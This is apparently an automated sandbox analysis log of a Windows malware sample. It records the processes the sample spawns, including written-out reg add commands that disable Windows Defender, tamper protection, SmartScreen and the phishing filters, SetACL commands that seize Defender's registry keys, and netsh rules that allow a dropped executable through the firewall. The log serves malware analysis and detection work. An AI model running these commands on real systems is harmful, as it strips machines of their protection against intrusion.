Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106EEA1013_2_00007FF7106EEA10
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106AE9D013_2_00007FF7106AE9D0
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106DF9C013_2_00007FF7106DF9C0
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106A1A3013_2_00007FF7106A1A30
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106C7B1013_2_00007FF7106C7B10
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106EFB0013_2_00007FF7106EFB00
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106ACB2013_2_00007FF7106ACB20
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF710703C6413_2_00007FF710703C64
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106FEF6C13_2_00007FF7106FEF6C
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106EEF3013_2_00007FF7106EEF30
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106FDFF013_2_00007FF7106FDFF0
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106EBFE813_2_00007FF7106EBFE8
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeCode function: String function: 00AF4DF4 appears 54 times
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeCode function: String function: 00AD854A appears 42 times
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: String function: 6CBE6E1A appears 549 times
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: String function: 6CBB85BC appears 56 times
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: String function: 6CB839AD appears 43 times
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: String function: 6CBB833E appears 579 times
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: String function: 6CBD8B7A appears 109 times
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: String function: 6C51A420 appears 41 times
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: String function: 6C584B6A appears 631 times
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: String function: 6C516695 appears 45 times
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: String function: 6C54F361 appears 633 times
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: String function: 6C54F5D9 appears 60 times
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: String function: 6C57A290 appears 32 times
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: String function: 6C5747A7 appears 144 times
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: String function: 00007FF7106B3F80 appears 116 times
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: String function: 00007FF7106A9D20 appears 94 times
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: String function: 00007FF7106A94C0 appears 85 times
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: String function: 00007FF7106AAC70 appears 93 times
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: String function: 00007FF7106A9CB0 appears 69 times
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeCode function: String function: 00DC8C66 appears 47 times
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeCode function: String function: 00DE51E4 appears 54 times
Source: SetupResources.dll16.6.drStatic PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: SetupUtility.exe.8.drStatic PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: SetupResources.dll16.8.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll19.6.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll22.6.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll3.6.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll9.6.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll6.8.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll13.6.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll10.8.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll21.6.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll12.6.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll8.6.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll5.6.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll15.6.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll23.6.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll20.6.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll17.8.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll14.8.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll0.6.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll.8.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll11.8.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll1.8.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll4.8.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll18.6.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll7.8.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll19.8.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll1.6.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll22.8.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll3.8.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll17.6.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll6.6.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll9.8.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll10.6.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll16.6.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll2.6.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll21.8.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll13.8.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll5.8.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll8.8.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll2.8.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll20.8.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll15.8.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll12.8.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll0.8.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll14.6.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll11.6.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll.6.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll7.6.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll18.8.drStatic PE information: No import functions for PE file found
Source: SetupResources.dll4.6.drStatic PE information: No import functions for PE file found
Source: Auu2j0pT0B.exe, 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenameselfdel.dllJ vs Auu2j0pT0B.exe
Source: Auu2j0pT0B.exe, 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenameSetACL.exe. vs Auu2j0pT0B.exe
Source: Auu2j0pT0B.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v "DisableAntiVirus" /t reg_DWORD /d "1" /f
Source: classification engineClassification label: mal76.phis.evad.winEXE@115/232@0/0
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeCode function: 6_2_00AD8DAE FormatMessageW,GetLastError,LocalFree,6_2_00AD8DAE
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeCode function: 0_2_00403552 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,ExitProcess,CoUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,0_2_00403552
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6CBB4DC9 AdjustTokenPrivileges,7_2_6CBB4DC9
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C54BAEA AdjustTokenPrivileges,9_2_6C54BAEA
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C5432B4 GetCurrentProcess,OpenProcessToken,GetLastError,AdjustTokenPrivileges,GetLastError,GetLastError,GetLastError,CloseHandle,9_2_6C5432B4
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106C3A5E AdjustTokenPrivileges,GetLastError,CloseHandle,GetLastError,CloseHandle,GetCurrentProcess,OpenProcessToken,GetLastError,GetCurrentProcess,OpenProcessToken,GetLastError,13_2_00007FF7106C3A5E
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106C3D1B AdjustTokenPrivileges,GetLastError,CloseHandle,GetLastError,CloseHandle,GetCurrentProcess,OpenProcessToken,GetLastError,13_2_00007FF7106C3D1B
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106C3FD8 AdjustTokenPrivileges,GetLastError,CloseHandle,GetLastError,CloseHandle,13_2_00007FF7106C3FD8
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106B42A0 GetCurrentProcess,OpenProcessToken,GetLastError,LookupPrivilegeValueW,GetLastError,CloseHandle,AdjustTokenPrivileges,GetLastError,CloseHandle,GetLastError,CloseHandle,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,13_2_00007FF7106B42A0
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeCode function: 0_2_004049E7 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,0_2_004049E7
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6CBA5238 CreateToolhelp32Snapshot,_memset,Process32FirstW,Process32NextW,CloseHandle,7_2_6CBA5238
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeCode function: 0_2_004021CF CoCreateInstance,0_2_004021CF
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6CBD78DF LoadResource,LockResource,SizeofResource,7_2_6CBD78DF
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6CBAE9B4 ChangeServiceConfigW,7_2_6CBAE9B4
Source: C:\02160d95efb0ac51c5e073\Setup.exeMutant created: \Sessions\1\BaseNamedObjects\Global\NetFxSetupMutex
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeMutant created: NULL
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5968:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6388:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6396:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6480:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5256:120:WilError_03
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeFile created: C:\Users\user\AppData\Local\Temp\nsi4F76.tmpJump to behavior
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\bn.bat
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeCommand line argument: X"6_2_00AD59A6
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeCommand line argument: temp6_2_00AD59A6
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeCommand line argument: X"6_2_00AD59A6
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeCommand line argument: X"6_2_00AD59A6
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeCommand line argument: 8A6_2_00AD59A6
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeCommand line argument: X"6_2_00AD59A6
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeCommand line argument: temp8_2_00DC5C66
Source: Auu2j0pT0B.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeFile read: C:\Users\desktop.iniJump to behavior
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: Auu2j0pT0B.exeReversingLabs: Detection: 44%
Source: Setup.exeString found in binary or memory: Pre-Installation Warnings:
Source: Setup.exeString found in binary or memory: Pre-Installation Warnings:
Source: SetACL64.exeString found in binary or memory: Type 'SetACL -help' for help.
Source: SetACL64.exeString found in binary or memory: -help
Source: SetACL64.exeString found in binary or memory: Type 'SetACL -help' for help.
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeFile read: C:\Users\user\Desktop\Auu2j0pT0B.exeJump to behavior
Source: unknownProcess created: C:\Users\user\Desktop\Auu2j0pT0B.exe "C:\Users\user\Desktop\Auu2j0pT0B.exe"
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeProcess created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=acxxtzcogvgr dir=in action=allow program="C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\acxxtzcogvgr.exe" enable=yes profile=public,private
Source: C:\Windows\SysWOW64\netsh.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeProcess created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=acxxtzcogvgr dir=out action=allow program="C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\acxxtzcogvgr.exe" enable=yes profile=public,private
Source: C:\Windows\SysWOW64\netsh.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeProcess created: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe "C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe" /q /norestart
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeProcess created: C:\6231e956ee22143d5ce90e\Setup.exe C:\6231e956ee22143d5ce90e\\Setup.exe /q /norestart /x86 /x64 /ia64 /web
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeProcess created: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe "C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe" /q /norestart
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeProcess created: C:\02160d95efb0ac51c5e073\Setup.exe C:\02160d95efb0ac51c5e073\\Setup.exe /q /norestart /x86 /x64 /web
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\bn.bat
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn setowner -ownr "n:Administrators"
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\bnz.bat
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn ace -ace "n:Administrators;p:full"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn setowner -ownr "n:Administrators"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn ace -ace "n:Administrators;p:full"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn setowner -ownr "n:Administrators"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn ace -ace "n:Administrators;p:full"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn setowner -ownr "n:Administrators"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn ace -ace "n:Administrators;p:full"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v "DisableAntiVirus" /t reg_DWORD /d "1" /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /t reg_DWORD /d "4" /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtectionSource" /t reg_DWORD /d "2" /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" /v "DisablePrivacyMode" /t reg_DWORD /d "1" /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t reg_DWORD /d "0" /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t reg_DWORD /d "0" /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontOfferThroughWUAU" /t reg_DWORD /d 1 /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontReportInfectionInformation" /t reg_DWORD /d 1 /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\RemovalTools\MpGears" /v "SpyNetReportingLocation" /t reg_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v "EnableSmartScreen" /t reg_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /f
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\bnn.bat
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\SOFTWARE\Policies\Microsoft\Edge" /v "SmartScreenEnabled" /t reg_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\bnoo1.bat
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_EdgeSmartScreenOff" /t REG_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_StoreAppsSmartScreenOff" /t reg_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "RandomizeScheduleTaskTimes" /t reg_DWORD /d "0" /f
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeProcess created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=acxxtzcogvgr dir=in action=allow program="C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\acxxtzcogvgr.exe" enable=yes profile=public,privateJump to behavior
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeProcess created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=acxxtzcogvgr dir=out action=allow program="C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\acxxtzcogvgr.exe" enable=yes profile=public,privateJump to behavior
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeProcess created: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe "C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe" /q /norestartJump to behavior
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeProcess created: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe "C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe" /q /norestartJump to behavior
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\bn.batJump to behavior
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\bnz.batJump to behavior
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\bnn.batJump to behavior
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\bnoo1.batJump to behavior
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeProcess created: unknown unknownJump to behavior
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeProcess created: unknown unknownJump to behavior
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeProcess created: unknown unknownJump to behavior
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeProcess created: unknown unknownJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeProcess created: C:\6231e956ee22143d5ce90e\Setup.exe C:\6231e956ee22143d5ce90e\\Setup.exe /q /norestart /x86 /x64 /ia64 /webJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeProcess created: C:\02160d95efb0ac51c5e073\Setup.exe C:\02160d95efb0ac51c5e073\\Setup.exe /q /norestart /x86 /x64 /webJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn setowner -ownr "n:Administrators"Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn ace -ace "n:Administrators;p:full"Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn setowner -ownr "n:Administrators"Jump to behavior
